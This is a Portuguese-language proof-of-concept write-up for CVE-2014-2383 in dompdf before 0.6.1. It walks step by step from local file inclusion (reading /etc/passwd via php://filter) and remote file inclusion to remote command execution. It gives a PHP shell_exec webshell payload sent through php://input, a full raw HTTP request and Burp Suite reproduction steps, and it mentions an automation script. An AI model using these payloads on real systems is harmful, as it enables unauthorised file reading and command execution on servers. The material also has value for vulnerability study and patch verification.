
Exploit de prova de conceito para CVE-2014-2383 demonstrando escalada de LFI/RFI para RCE em dompdf <0.6.1, com guia de reprodução passo a passo e script de automação.
Ambiente de teste: dompdf 0.6.0 - php 7.3.33 - apache 2.4.25
Durante uma avaliação de segurança, a presença de CVE-2014-2383 foi descoberta. Este documento é uma prova de conceito e não inclui os detalhes da descoberta inicial para proteger a privacidade do cliente. O conteúdo deste documento, no entanto, imita o ambiente no qual esta vulnerabilidade foi explorada.
Descoberta https://github.com/projectdiscovery/nuclei

Detalhes do CVE-2014-2383
A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
Observe o wrapper PHP php://filter/resource sendo usado para incluir o arquivo /etc/passwd do alvo.
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd

Este wrapper PHP não apenas permitiu inclusões de arquivos locais, mas também arquivos remotos.
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=http://relativ3pa1n.com

Até este ponto, estivemos usando informações conhecidas e provas de conceito para explorar essas vulnerabilidades. Numa tentativa de explorar ainda mais esta vulnerabilidade, usei outros protocolos e filtros PHP para obter algum tipo de "pré-processamento" antes da criação do PDF.
Uma distinção fundamental nesta vulnerabilidade LFI/RFI era que qualquer arquivo referenciado no LFI estava sendo renderizado como um documento PDF. Isso significaria que tentar renderizar um arquivo PHP através do LFI apenas converteria esse arquivo em PDF e não executaria o PHP no arquivo. Olhando mais de perto para nossa carga útil, observaremos que o php://filter/resource= é a parte da nossa carga que está contornando uma restrição imposta pelo DOMPDF.
Usando um filtro PHP diferente, conseguimos que o servidor pré-processe uma requisição POST antes de executar o LFI. Podemos usar o fluxo de entrada php://input para ler os dados brutos da nossa requisição POST. Além disso, podemos adicionar um parâmetro com o comando que queremos executar e defini-lo nos nossos dados POST. Então nosso novo parâmetro seria algo como php://input&cmd=id e nossos dados POST seriam assim: <?php echo shell_exec($_GET[‘cmd’]);?>. O resultado disso está abaixo.
Navegue para o LFI assim que descobrir uma versão do DOMPDF < 0.6.1
{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd
Capture esta requisição em um proxy como BurpSuite

Envie a requisição para o Repeater (ctrl+r)

Assim que tiver a requisição no Repeater, clique com o botão direito e selecione "Change Request Method"

modifique o parâmetro input_file:
De:
php://filter/resource=/etc/passwd
Para:
php://input&cmd=whoami

Adicione isso ao corpo da requisição POST: (Às vezes, as aspas simples precisam ser redigitadas)
<?php echo shell_exec($_GET['cmd']);?>

A requisição inteira deve parecer com algo assim:
POST /dompdf/dompdf.php?input_file=php://input&cmd=whoami HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=3369f6e27b5a514fb12c7bac74f8b11e
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
<?php echo shell_exec($_GET['cmd']);?>
Se estiver usando BurpSuite, envie a requisição e use a barra de pesquisa para procurar por "BT". Observe que o comando foi executado e a resposta está sendo escrita nos dados de nível de byte do PDF que está sendo gerado. (Neste caso, o usuário é "daemon")

Eu montei um script em Python que pode automatizar a maior parte disso.

Aviso: Isso é apenas para fins educacionais. Por favor, deixe os servidores web de outras pessoas em paz. 😄
Aqui está o link para o vídeo não listado do RCE. Vídeo